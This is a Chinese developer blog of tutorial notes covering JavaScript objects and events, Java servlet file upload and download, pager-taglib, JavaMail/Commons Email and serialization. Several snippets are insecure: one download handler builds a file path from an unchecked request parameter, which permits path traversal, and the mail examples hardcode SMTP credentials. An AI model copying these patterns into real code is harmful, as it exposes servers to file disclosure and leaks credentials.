//escape方法(对一个字符进行Unicode编号)
//unescape方法(解码)
//eval方法(将其中的参数字符串作为一个javascript表达式执行,可以动态产生表达式)
</script>
<script language="javascript">//对象与对象实例
///对象与对象实例
/*function Person()//Person对象的构造函数---构造函数
{}
var person1=new Person();//创建Person对象的实例---对象实例
person1.age=18;//为对象实例添加成员,可以对其无限制的添中新的成员
//person1.age也可以用person1["age"]访问,这样可以动态访问其成员
person1.name="abb";//---属性
//alert(person1.name+":"+person1.age);
function sayFunc()
{
alert(person1.name+":"+person1.age);
//alert(person1["name"]+":"+person1["age"]);
//var x="name";
//alert(person1[x]+":"+person1["age"]);
//x="age";
//alert(person1[x]+":"+person1["age"]);
//eval("alert(person1.name);");与下面结果相同
//alert(person1.name);
//var x="age";
//eval("alert(person1."+x+");");
}
person1.say=sayFunc;//---方法(函数指针) 不能为person1.say=sayFunc();
person1.say();*/
</script>
<script language="javascript">//构造方法与this关键字
///构造方法与this关键字
//为一个对象实例新增加属性和方法,不会增加到同一个对象所产生的其它对象实例上
/*function Person(name,age)
{
this.age=age;
this.name=name;
this.say=sayFunc;
}
function sayFunc()
{
alert(this.name+":"+this.age);
//alert(name+":"+this.age);//错误,this不能去掉
}
var person1=new Person("张三",18);
person1.say();
var person2=new Person("李四",20);
person2.say();*/
</script>
<script language="javascript">//在函数中修改参数值的问题
///在函数中修改参数值的问题
//值传寄
/*function changeValue(x)
{
x=5;
}
var x=3;
changeValue(x);
alert(x);*/ //值仍为3,未修改,值传寄
//对象传寄
/*function Person(name,age)
{
this.age=age;
this.name=name;
this.say=sayFunc;
}
function sayFunc()
{
alert(this.name+":"+this.age);
}
function chage(p1)
{
p1.name="王五";
}
var p1=new Person("张三",18);
chage(p1);
p1.say();*/
</script>
<script language="javascript">//javascript内部对象
///javascript内部对象
//动态对象 使用时new实例并用“实例名.成员”的格式访问--------------------动态对象
//-String对象(属性length)---是动态地象也是一个特殊的数据类型
//var myStrObj=new String("www.it315.orgit");
//var myStrObj="www.it315.org";//结果同上
//alert("www.it315.org".length);//结果同下
//alert(myStrObj.length);
//-big()方法--原字符两边加<big></big>标签对
//alert(myStrObj.big());
//-bold()方法--原字符两边加<b></b>标签对
//alert(myStrObj.bold());
//-fontcolor()方法--设置字符串的颜色
//alert(myStrObj.fontcolor("red"));
//-anchor()方法--添加超连接标记name属性
//alert(myStrObj.anchor("re"));
//-link()方法--添加超连接标记scr属性
//alert(myStrObj.link("www.it315.org"));
//其他方法如bold,italics,blink,small,fontsize
//-charAt()方法--返回索引位的字符,以0开始,超出length-1返回空
//alert(myStrObj.charAt(12));
//-charCodeAt()方法--返回索引位的字符的unicode编号,以0开始,超出length-1返回空
//alert(myStrObj.charCodeAt(12));
//-lastIndexOf()方法--返回某子字符串第一次出现的索引位置,从右向左,没找到返回-1
//alert(myStrObj.lastIndexOf("it"));
//-indexOf()方法--返回某子字符串第一次出现的索引位置,左向右,没找到返回-1
//alert(myStrObj.indexOf("it"));
/*var p=myStrObj.indexOf("it")
while(p != -1)
{
alert(p);
p=myStrObj.indexOf("it",pos+1);
}*/
//-match()方法--使用正则表达式检证字符
//-search()方法--使用正则表达式方法查子串,类似于indexOf
//-replace()方法--替换子串,可用正则
//-split()方法--分隔符取子串生成数组,可用正则
//-slice()方法--返回指定位置之间的字符串,取前不取后
//slice(4,6);slice(4);
//substr(),substring()方法--取子串substring()类似于slice(),substr(开始位置,长度)
//-toUpperCase()小写转大写
//-toLowerCase()大写转小写
//Date对象
//-构造函数Date(),Date(dateVal),Date(year,month,date[,hours[,minutes[,seconds[,ms]]]])
//-parse()方法--静态方法
//-getYear(),getMonth(),getDate(),getDay(),getHours(),getMinutes(),getSeconds(),getMilisecons()
//-getTime()返回1970-1-1起的毫秒数
//-set方法与get方法对映
//静态对象 用“对象名.成员”的格式访问 ----------------------------------静态对象
//Object对象(提供创建自定义对象的简单方式,不需要程序员再定义构造函数)
/*function getAttributeValue(attr)
{
alert(person[attr]);
}
var person=new Object();
person.name="zs";
person.age=18;
getAttributeValue("name");
getAttributeValue("age");*/
//Math对象
//-random()方法--返加0-1之间的随机数,abs()方法
//toString()方法--所有对象都有
</script>
<script language="javascript">//对象专用语句
///对象专用语句
//with语句子--可以一次引用对象实例的属性或方法
/*var current_time=new Date();
with(current_time)
{
var strDate=getYear()+"年";
strDate+=getMonth()+"月";
strDate+=getDate()+"日";
strDate+=getHours()+":";
strDate+=getMinutes()+":";
strDate+=getSeconds();
alert(strDate);
}*/
//for...in语句-对对象属性进行操作
/*function Person(name,age)
{
this.age=age;
this.name=name;
}
var p=new Person("lisi",19);
var prep="";
for(prep in p)
{
alert(p[prep]);
}*/
</script>
<script language="javascript">//数组列表--有length属性能
///数组列表--有length属性能
/*var arr=["as"+1,321,2.5,"abb",""];//可以是任意数据类型,可以为空或合法表达式
for(var i=0;i<arr.length;i++)
{
alert(arr[i]);
}*/
///用对象的方式实现数组
/*function MyArray()
{
this.length=arguments.length;
for(var i=0;i<this.length;i++)
{
this[i]=arguments[i];
}
}
var str="";
var arr=new MyArray(4,3.5,"abc");
for(var i=0;i<arr.length;i++)
{
str+=i+":"+arr[i]+"\n";
}
alert(str);*/
</script>
<script language="javascript">//Array对象
///Array对象
//-构造方法
//-Array();Array(4);-长度Array(3.5,"abc",3);
/*var arr=new Array();
var x,str="";
arr[0]="abc";
arr[1]=23;
arr[2]=3;
arr.sort();
for(x in arr)
{
str=str+x+":"+arr[x]+"\n";
}
alert(str);*/
</script>
posted @
2009-11-29 21:52 junly 阅读(415) |
评论 (0) |
编辑 收藏
摘要: <!------------------///事件处理----------------------->
<!--1-事件源对象所对应的HTML标签的事件属性
<script language="javascript">
&...
阅读全文
posted @
2009-11-29 21:51 junly 阅读(436) |
评论 (0) |
编辑 收藏
function MyAlert()
{
var msg="";
msg+="发生事件的类型:\n";
msg+="type="+event.type+"\n\n";
msg+="发生事件的原始对象:\n";
msg+="target="+event.srcElement+"\n\n";
msg+="光标相对于事件所在文档的水平和垂直位置:\n";
msg+="x="+event.x+"y="+event.y+"\n\n";
msg+="光标相对于事件所在容器的水平和垂直位置:\n";
msg+="x="+event.offsetX+"y="+event.offsetY+"\n\n";
msg+="光标相对于事件所在屏幕的水平和垂直位置:\n";
msg+="x="+event.screenX+"y="+event.screenY+"\n\n";
msg+="光标相对于事件所在Web页面的水平和垂直位置:\n";
msg+="x="+event.clientX+"y="+event.clientY+"\n\n";
alert(msg);
}
posted @
2009-11-29 21:37 junly 阅读(214) |
评论 (0) |
编辑 收藏
文件下载代码(2008-02-26 21:33:36)标签:情感
String fileName = request.getParameter("fileName");
fileName = fileName.substring(fileName.indexOf("=")+1);
String filePath = servlet.getServletContext().getRealPath("")
+ "\\upload\\" ;
String file = filePath + fileName;
System.out.println(file);
FileInputStream fis = null;
OutputStream os = null;
byte[] bos = new byte[1024];
int length = 0;
try {
response.setContentType("application/x-msdownload");
response.setHeader("Content-disposition", "attachment;filename="
+ new String(fileName.getBytes("gb2312"),"iso8859-1"));
fis = new FileInputStream(file);
os = response.getOutputStream();
while((length=fis.read(bos))!=-1){
os.write(bos, 0, length);
// os.flush();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
try {
if(os!=null)
os.close();
if(fis!=null)
fis.close();
} catch (Exception e) {
e.printStackTrace();
}
}
注意:
1.response.setContentType("application/x-msdownload");
2.response.setHeader("Content-disposition", "attachment;filename="
+ new String(fileName.getBytes("gb2312"),"iso8859-1"));
PS:解决下载中文乱码 fileName.getBytes("gb2312"),"iso8859-1")
3.待解决问题:选择图片下载时候点取消抛异常
----------------------------------------------------------------------------------------------
用commons.fileupload实现文件的上传和下载2008年04月11日 星期五 15:27commons.fileupload实现文件的上传,需要用到的组件如下:
1)Commons-fileupload-1.1.zip,下载地址为http://archive.apache.org/dist/jakarta/commons/fileupload/
2)commons-io-1.1.zip,下载地址为:http://archive.apache.org/dist/jakarta/commons/io/
代码如下:
<%!
//服务器端保存上传文件的路径
String saveDirectory = "g:\\upload\\";
// 临时路径 一旦文件大小超过getSizeThreshold()的值时数据存放在硬盘的目录
String tmpDirectory = "g:\\upload\\tmp\\";
// 最多只允许在内存中存储的数据大小,单位:字节
int maxPostSize = 1024 * 1024;
%>
<%
// 文件内容
String FileDescription = null;
// 文件名(包括路径)
String FileName = null;
// 文件大小
long FileSize = 0;
// 文件类型
String ContentType = null;
%>
<%
DiskFileUpload fu = new DiskFileUpload();//创建一个新的文件上传句柄
// 设置允许用户上传文件大小,单位:字节
fu.setSizeMax(200*1024*1024);
// 设置最多只允许在内存中存储的数据,单位:字节
fu.setSizeThreshold(maxPostSize);
// 设置一旦文件大小超过getSizeThreshold()的值时数据存放在硬盘的目录
fu.setRepositoryPath("g:\\upload\\tmp\\");
//开始读取上传信息 得到所有文件
try{
List fileItems = fu.parseRequest(request);//解析上传的请求
}catch(FileUploadException e){
//这里异常产生的原因可能是用户上传文件超过限制、不明类型的文件等
//自己处理的代码
}
%>
<%
// 依次处理每个上传的文件
Iterator iter = fileItems.iterator();
while (iter.hasNext()) {
FileItem item = (FileItem) iter.next();
//忽略其他不是文件域的所有表单信息
if (!item.isFormField()) {
String name = item.getName();
long size = item.getSize();
String contentType = item.getContentType();
if((name==null||name.equals("")) && size==0)
continue;
%>
<%
//保存上传的文件到指定的目录
String[] names=StringUtils.split(name,"\\"); //对原来带路径的文件名进行分割
name = names[names.length-1];
item.write(new File(saveDirectory+ name));
}
}
%>
下面是其简单的使用场景:
A、上传项目只要足够小,就应该保留在内存里。
B、较大的项目应该被写在硬盘的临时文件上。
C、非常大的上传请求应该避免。
D、限制项目在内存中所占的空间,限制最大的上传请求,并且设定临时文件的位置。
可以根据具体使用用servlet来重写,具体参数配置可以统一放置到一配置文件
--------------------------------------------------------------------------------
文件的下载用servlet实现
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String aFilePath = null; //要下载的文件路径
String aFileName = null; //要下载的文件名
FileInputStream in = null; //输入流
ServletOutputStream out = null; //输出流
try
{
aFilePath = getFilePath(request);
aFileName = getFileName(request);
response.setContentType(getContentType(aFileName) + "; charset=UTF-8");
response.setHeader("Content-disposition", "attachment; filename=" + aFileName);
in = new FileInputStream(aFilePath + aFileName); //读入文件
out = response.getOutputStream();
out.flush();
int aRead = 0;
while((aRead = in.read()) != -1 & in != null)
{
out.write(aRead);
}
out.flush();
}
catch(Throwable e)
{
log.error("FileDownload doGet() IO error!",e);
}
finally
{
try
{
in.close();
out.close();
}
catch(Throwable e)
{
log.error("FileDownload doGet() IO close error!",e);
}
}
}
posted @
2009-11-29 21:35 junly 阅读(248) |
评论 (0) |
编辑 收藏
1、拷贝pager-taglib.jar包
2、在JSP页面中使用taglib指令引入pager-taglib标签库
3、使用pager-taglib标签库进行分页处理
pg:pager【这个标签用来设置分页的总体参数】重要参数说明:
url:分页的链接根地址,pager标签会在这个链接的基础上附加分页参数
items:总记录数,pager标签正是根据这个值来计算分页参数的
maxPageItems:每页显示的行数,默认为10
maxIndexPages:在循环输出页码的时候,最大输出多少个页码,默认是10
pg:first【第一页的标签】重要参数说明:
export变量的意义:
pageUrl - 分页链接URL地址(最重要的export参数)
pageNumber - 页码
firstItem - 首页第一行的索引值
lastItem - 首页最后一行的索引值
pg:pre【上一页标签】重要参数说明:
export变量的意义:
pageUrl - 分页链接URL地址(最重要的export参数)
pageNumber - 页码
firstItem - 前页第一行的索引值
lastItem - 前页最后一行的索引值
pg:next【下一页标签】重要参数说明:
export变量的意义:
pageUrl - 分页链接URL地址(最重要的export参数)
pageNumber - 页码
firstItem - 下页第一行的索引值
lastItem - 下页最后一行的索引值
pg:last重要参数说明:
export变量的意义:
pageUrl - 分页链接URL地址(最重要的export参数)
pageNumber - 页码
firstItem - 尾页第一行的索引值
lastItem - 尾页最后一行的索引值
pg:pages【这个标签用来循环输出页码信息】重要参数说明:
export变量的意义:
pageUrl - 分页链接URL地址(最重要的export参数)
pageNumber - 页码
firstItem - pageNumber这个页码指定的那一页的第一行的索引值
lastItem - pageNumber这个页码指定的那一页的最后一行的索引值
posted @
2009-11-29 21:34 junly 阅读(201) |
评论 (0) |
编辑 收藏
文件上传组件
1 Apache的Commons FileUpload
2 JavaZoom的UploadBean
3 jspSmartUpload
FileUpload下载网址:
http://commons.apache.org/fileupload/
步骤:
1 导入Apache的Commons FileUpload组件的两个jar包
2 建上传页面
<form action="servlet/upload" method="post" enctype="multipart/form-data" name="form1">
上传人:<input type="text" name="username"/><br/>
上传文件:<input type="file" name="loadname"/><br/>
<input type="submit"/>
</form>
注意,form中enctype="multipart/form-data"属性为上传属性,必写
---------------------------------------------------------------------
3 建立servlet处理类
public class UploadServlet extends HttpServlet {
private ServletContext sc;//ServletContext定义了一系列方法用于与相应的servlet容器通信
private String savePath;
public void init(ServletConfig config) throws ServletException {
savePath = config.getInitParameter("savePath");//得到初始化信息
sc = config.getServletContext();//得到ServletContext接口的实例
}
private static final long serialVersionUID = 7093971456528100363L;
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doPost(request, response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
DiskFileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List items = upload.parseRequest(request);
for (int i = 0; i < items.size(); i++) {
FileItem item = (FileItem) items.get(i);
if (item.isFormField()) {
System.out.println("表单的参数名称:" + item.getFieldName()
+ ",对应的参数值:" + item.getString("UTF-8"));
} else {
if (item.getName() != null && !item.getName().equals("")) {
System.out.println("上传文件的大小:" + item.getSize());
System.out.println("上传文件的类型:" + item.getContentType());
System.out.println("上传文件的名称:" + item.getName());
File temFile = new File(item.getName());
File file = new File(sc.getRealPath("/") + savePath,
temFile.getName());
item.write(file);
request.setAttribute("upload.message", "上传文件成功!");
} else {
request.setAttribute("upload.message", "没有上传文件成功!");
}
}
}
} catch (Exception e) {
e.printStackTrace();
request.setAttribute("upload.message", "没有上传文件成功!");
}
request.getRequestDispatcher("/uploadresult.jsp").forward(request, response);
}
}
-----------------------------------------------------------------------------------
4 配置web.xml
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>com.webs.UploadServlet</servlet-class>
<init-param>
<param-name>savePath</param-name>
<param-value>uploads</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/servlet/upload</url-pattern>
</servlet-mapping>
-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
Apache的commons-fileupload.jar可方便的实现文件的上传功能,本文通过实例来介绍如何使用commons-fileupload.jar。
@author:ZJ 07-2-22
Blog: http://zhangjunhd.blog.51cto.com/
将Apache的commons-fileupload.jar放在应用程序的WEB-INF\lib下,即可使用。下面举例介绍如何使用它的文件上传功能。
所使用的fileUpload版本为1.2,环境为Eclipse3.3+MyEclipse6.0。FileUpload 是基于 Commons IO的,所以在进入项目前先确定Commons IO的jar包(本文使用commons-io-1.3.2.jar)在WEB-INF\lib下。
此文作示例工程可在文章最后的附件中下载。
示例1
最简单的例子,通过ServletFileUpload静态类来解析Request,工厂类FileItemFactory会对mulipart类的表单中的所有字段进行处理,不只是file字段。getName()得到文件名,getString()得到表单数据内容,isFormField()可判断是否为普通的表单项。
demo1.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
//必须是multipart的表单数据。
<form name="myform" action="demo1.jsp" method="post"
enctype="multipart/form-data">
Your name: <br>
<input type="text" name="name" size="15"><br>
File:<br>
<input type="file" name="myfile"><br>
<br>
<input type="submit" name="submit" value="Commit">
</form>
</body>
</html>
demo1.jsp
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ page import="org.apache.commons.fileupload.*"%>
<%@ page import="org.apache.commons.fileupload.servlet.*"%>
<%@ page import="org.apache.commons.fileupload.disk.*"%>
<%@ page import="java.util.*"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<%
boolean isMultipart = ServletFileUpload.isMultipartContent(request);//检查输入请求是否为multipart表单数据。
if (isMultipart == true) {
FileItemFactory factory = new DiskFileItemFactory();//为该请求创建一个DiskFileItemFactory对象,通过它来解析请求。执行解析后,所有的表单项目都保存在一个List中。
ServletFileUpload upload = new ServletFileUpload(factory);
List<FileItem> items = upload.parseRequest(request);
Iterator<FileItem> itr = items.iterator();
while (itr.hasNext()) {
FileItem item = (FileItem) itr.next();
//检查当前项目是普通表单项目还是上传文件。
if (item.isFormField()) {//如果是普通表单项目,显示表单内容。
String fieldName = item.getFieldName();
if (fieldName.equals("name")) //对应demo1.html中type="text" name="name"
out.print("the field name is" + item.getString());//显示表单内容。
out.print("<br>");
} else {//如果是上传文件,显示文件名。
out.print("the upload file name is" + item.getName());
out.print("<br>");
}
}
} else {
out.print("the enctype must be multipart/form-data");
}
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
</body>
</html>
结果:
the field name isjeff
the upload file name isD:\C语言考试样题\作业题.rar
示例2
上传两个文件到指定的目录。
demo2.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
<form name="myform" action="demo2.jsp" method="post"
enctype="multipart/form-data">
File1:<br>
<input type="file" name="myfile"><br>
File2:<br>
<input type="file" name="myfile"><br>
<br>
<input type="submit" name="submit" value="Commit">
</form>
</body>
</html>
demo2.jsp
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ page import="org.apache.commons.fileupload.*"%>
<%@ page import="org.apache.commons.fileupload.servlet.*"%>
<%@ page import="org.apache.commons.fileupload.disk.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<%String uploadPath="D:\\temp";
boolean isMultipart = ServletFileUpload.isMultipartContent(request);
if(isMultipart==true){
try{
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
List<FileItem> items = upload.parseRequest(request);//得到所有的文件
Iterator<FileItem> itr = items.iterator();
while(itr.hasNext()){//依次处理每个文件
FileItem item=(FileItem)itr.next();
String fileName=item.getName();//获得文件名,包括路径
if(fileName!=null){
File fullFile=new File(item.getName());
File savedFile=new File(uploadPath,fullFile.getName());
item.write(savedFile);
}
}
out.print("upload succeed");
}
catch(Exception e){
e.printStackTrace();
}
}
else{
out.println("the enctype must be multipart/form-data");
}
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
</body>
</html>
结果:
upload succeed
此时,在"D:\temp"下可以看到你上传的两个文件。
示例3
上传一个文件到指定的目录,并限定文件大小。
demo3.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
<form name="myform" action="demo3.jsp" method="post"
enctype="multipart/form-data">
File:<br>
<input type="file" name="myfile"><br>
<br>
<input type="submit" name="submit" value="Commit">
</form>
</body>
</html>
demo3.jsp
<%@ page language="java" contentType="text/html; charset=GB18030"
pageEncoding="GB18030"%>
<%@ page import="org.apache.commons.fileupload.*"%>
<%@ page import="org.apache.commons.fileupload.servlet.*"%>
<%@ page import="org.apache.commons.fileupload.disk.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<%
File uploadPath = new File("D:\\temp");//上传文件目录
if (!uploadPath.exists()) {
uploadPath.mkdirs();
}
// 临时文件目录
File tempPathFile = new File("d:\\temp\\buffer\\");
if (!tempPathFile.exists()) {
tempPathFile.mkdirs();
}
try {
// Create a factory for disk-based file items
DiskFileItemFactory factory = new DiskFileItemFactory();
// Set factory constraints
factory.setSizeThreshold(4096); // 设置缓冲区大小,这里是4kb
factory.setRepository(tempPathFile);//设置缓冲区目录
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Set overall request size constraint
upload.setSizeMax(4194304); // 设置最大文件尺寸,这里是4MB
List<FileItem> items = upload.parseRequest(request);//得到所有的文件
Iterator<FileItem> i = items.iterator();
while (i.hasNext()) {
FileItem fi = (FileItem) i.next();
String fileName = fi.getName();
if (fileName != null) {
File fullFile = new File(fi.getName());
File savedFile = new File(uploadPath, fullFile
.getName());
fi.write(savedFile);
}
}
out.print("upload succeed");
} catch (Exception e) {
e.printStackTrace();
}
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
</body>
</html>
示例4
利用Servlet来实现文件上传。
Upload.java
package com.zj.sample;
import java.io.File;
import java.io.IOException;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
@SuppressWarnings("serial")
public class Upload extends HttpServlet {
private String uploadPath = "D:\\temp"; // 上传文件的目录
private String tempPath = "d:\\temp\\buffer\\"; // 临时文件目录
File tempPathFile;
@SuppressWarnings("unchecked")
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException {
try {
// Create a factory for disk-based file items
DiskFileItemFactory factory = new DiskFileItemFactory();
// Set factory constraints
factory.setSizeThreshold(4096); // 设置缓冲区大小,这里是4kb
factory.setRepository(tempPathFile);// 设置缓冲区目录
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Set overall request size constraint
upload.setSizeMax(4194304); // 设置最大文件尺寸,这里是4MB
List<FileItem> items = upload.parseRequest(request);// 得到所有的文件
Iterator<FileItem> i = items.iterator();
while (i.hasNext()) {
FileItem fi = (FileItem) i.next();
String fileName = fi.getName();
if (fileName != null) {
File fullFile = new File(fi.getName());
File savedFile = new File(uploadPath, fullFile.getName());
fi.write(savedFile);
}
}
System.out.print("upload succeed");
} catch (Exception e) {
// 可以跳转出错页面
e.printStackTrace();
}
}
public void init() throws ServletException {
File uploadFile = new File(uploadPath);
if (!uploadFile.exists()) {
uploadFile.mkdirs();
}
File tempPathFile = new File(tempPath);
if (!tempPathFile.exists()) {
tempPathFile.mkdirs();
}
}
}
demo4.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB18030">
<title>File upload</title>
</head>
<body>
// action="fileupload"对应web.xml中<servlet-mapping>中<url-pattern>的设置.
<form name="myform" action="fileupload" method="post"
enctype="multipart/form-data">
File:<br>
<input type="file" name="myfile"><br>
<br>
<input type="submit" name="submit" value="Commit">
</form>
</body>
</html>
web.xml
<servlet>
<servlet-name>Upload</servlet-name>
<servlet-class>com.zj.sample.Upload</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Upload</servlet-name>
<url-pattern>/fileupload</url-pattern>
</servlet-mapping>
posted @
2009-11-29 21:34 junly 阅读(384) |
评论 (0) |
编辑 收藏
JavaMail下载与安装
http://java.sun.com/products/javamail/index.html
核心类与接口
javax.mail.Session
javax.mail.Message
javax.mail.Address
javax.mail.Authenticator
javax.mail.Transport
javax.mail.Store
javax.mail.Folder
-----------------------------------------------------
1 加载javamail的jar包
2 编写处理类
public class SendMail {
public static void mian(String[] args){
Properties props=new Properties();
Session session=Session.getInstance(props,null);
props.put("mail.host", "127.0.0.1");//接收邮件的地址
props.put("mail.transport.protocol", "smtp");//传输邮件的协议
Message message=new MimeMessage(session);
try {
message.setFrom(new InternetAddress("ywj_sh110@163.com"));//设定发件人
message.setRecipient(Message.RecipientType.TO, new InternetAddress("ywj_316@163.com"));//设定收件人
message.setSubject("你好吗?");//设标题
message.setText("javamail发送邮件测试");//设内容
Transport.send(message);//发送信息
} catch (AddressException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (MessagingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
---------------------------------------------------
Apache Commons Email组件
1 加载javamail的jar包和Apache Commons Email的jar包
2 编写servlet的处理类
public class SendCommMail extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doPost(request,response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
SimpleEmail email=new SimpleEmail();//生成SimpleEmail对象
email.setHostName("smtp.sina.com");//生成邮件
email.setAuthentication("web08", "web2008");//建立用户
email.setCharset("UTF-8");//邮件内容编码
try {
email.setFrom(request.getParameter("from"));//发件人
email.addTo(request.getParameter("to"));//收件人
email.setMsg(request.getParameter("context"));//内容
email.send();//发送邮件
request.setAttribute("sendmail.message", "邮件发送成功!");
} catch (Exception e) {
e.printStackTrace();
request.setAttribute("sendmail.message", "邮件发送不成功!");
}
request.getRequestDispatcher("/sendResult.jsp").forward(request, response);
}
}
3 配置web.xml文件
4 页面
----------------------------------------------------------------------
带附件的邮件
1 1 加载javamail的jar包,Apache Commons Email的jar包和fileUpLoad
2 2 编写servlet的处理类
public class SendCommMail extends HttpServlet {
private ServletContext sc;//ServletContext定义了一系列方法用于与相应的servlet容器通信
private String savePath;
File file;
private Map<String,String> parameters=new HashMap<String,String>();//存页面信息
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doPost(request,response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
request.setCharacterEncoding("UTF-8");
file=this.doAtta(request);
MultiPartEmail email=new MultiPartEmail();//生成SimpleEmail对象
email.setHostName("smtp.163.com");//生成邮件
email.setAuthentication("ywj_316", "1234567890");//建立用户
email.setCharset("UTF-8");//邮件内容编码
try {
email.setFrom(parameters.get("from"));//发件人
email.addTo(parameters.get("to"));//收件人
email.setMsg(parameters.get("context"));//内容
email.setSubject(parameters.get("title"));//主题
if(file!=null){
EmailAttachment attachment=new EmailAttachment();//附什对象
attachment.setPath(file.getParent());//附件路径
attachment.setDescription(EmailAttachment.ATTACHMENT);//附件类型
attachment.setName(file.getName());//附件名称
email.attach(attachment);
}
System.out.println("ssssssssssssssssssssssssssssssssssss");
email.send();//发送邮件
request.setAttribute("sendmail.message", "邮件发送成功!");
} catch (Exception e) {
e.printStackTrace();
request.setAttribute("sendmail.message", "邮件发送不成功!");
}
request.getRequestDispatcher("/sendResult.jsp").forward(request, response);
}
public File doAtta(HttpServletRequest request)throws ServletException,IOException{
DiskFileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List items = upload.parseRequest(request);
for (int i = 0; i < items.size(); i++) {
FileItem item = (FileItem) items.get(i);
if (item.isFormField()) {
parameters.put(item.getFieldName(), item.getString("UTF-8"));
System.out.println(item.getFieldName());
System.out.println(item.getString("UTF-8"));
} else {
if (item.getName() != null && !item.getName().equals("")) {
File temFile = new File(item.getName());
file = new File(sc.getRealPath("/") + savePath,
temFile.getName());
item.write(file);
request.setAttribute("upload.message", "上传文件成功!");
} else {
request.setAttribute("upload.message", "没有上传文件成功!");
}
}
}
} catch (Exception e) {
e.printStackTrace();
request.setAttribute("upload.message", "没有上传文件成功!");
}
return file;
}
public void init(ServletConfig config) throws ServletException {
savePath = config.getInitParameter("savePath");//得到初始化信息
sc = config.getServletContext();//得到ServletContext接口的实例
}
}
3 配置web.xml文件
<servlet>
<servlet-name>SendCommMail</servlet-name>
<servlet-class>com.webs.SendCommMail</servlet-class>
<init-param>
<param-name>savePath</param-name>
<param-value>uploads</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>SendCommMail</servlet-name>
<url-pattern>/servlet/sendMail</url-pattern>
</servlet-mapping>
4 页面
<body>
发送邮件的程序<br>
<form action="servlet/sendMail" name="form1" enctype="multipart/form-data" method="post">
收件人:<input type="text" name="to"/><br>
发件人:<input type="text" name="from"/><br>
主题:<input type="text" name="title"/><br>
附件:<input type="file" name="file"/><br>
内容:<input type="text" name="context"/><br>
<input type="submit"/>
</form>
</body>
posted @
2009-11-29 21:33 junly 阅读(360) |
评论 (0) |
编辑 收藏
序列化是把一个对象的状态写入一个字节流的过程,它执行RMI,RMI允许一台机器上的JAVA对象调用不同机器上的JAVA对象方法,对象可以作为参数提供给那个远程方法,发送机序列化该对象并传送它,接收机执行反序列化。
序列化和反序列化的关系图表可形成包含循环引用的顺序图表。这是整个序列化的总体思想。
而Serializable接口属于支持序列化的一个接口,只有一个实现它的对象可以被序列化工具存储和回复,Serializable接口没有定义任何成员,只用来表示一个累可以被序列化,若该类可以序列化,那么它的所有子类都可以。
下面是关于序列化的一个实例:
程序名称:SerializationDemo.java
程序主题:实现对象的序列化和反序列化
程序说明:该程序由实例化一个MyClass类的对象开始,该对象有三个实例变量,类型分别为String、int、double,是希望存储和恢复的信息。
import java.io.*;
public class SerializationDemo{
public static void main(String args[]){
//Object serialization
try{
MyClass object1=new MyClass("Hello",-7,2.7e10);
System.out.println("object1:"+object1);
FileOutputStream fos=new FileOutputStream("serial");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(object1);
oos.flush();
oos.close();
}
catch(Exception e){
System.out.println("Exception during serialization:"+e);
System.exit(0);
}
//Object deserialization
try{
MyClass object2;
FileInputStream fis=new FileInputStream("serial");
ObjectInputStream ois=new ObjectInputStream(fis);
object2=(MyClass)ois.readObject();
ois.close();
System.out.println("object2:"+object2);
}
catch(Exception e){
System.out.println("Exception during deserialization:"+e);
System.exit(0);
}
}
}
class MyClass implements Serializable{
String s;
int i;
double d;
public MyClass(String s,int i,double d){
this.s=s;
this.i=i;
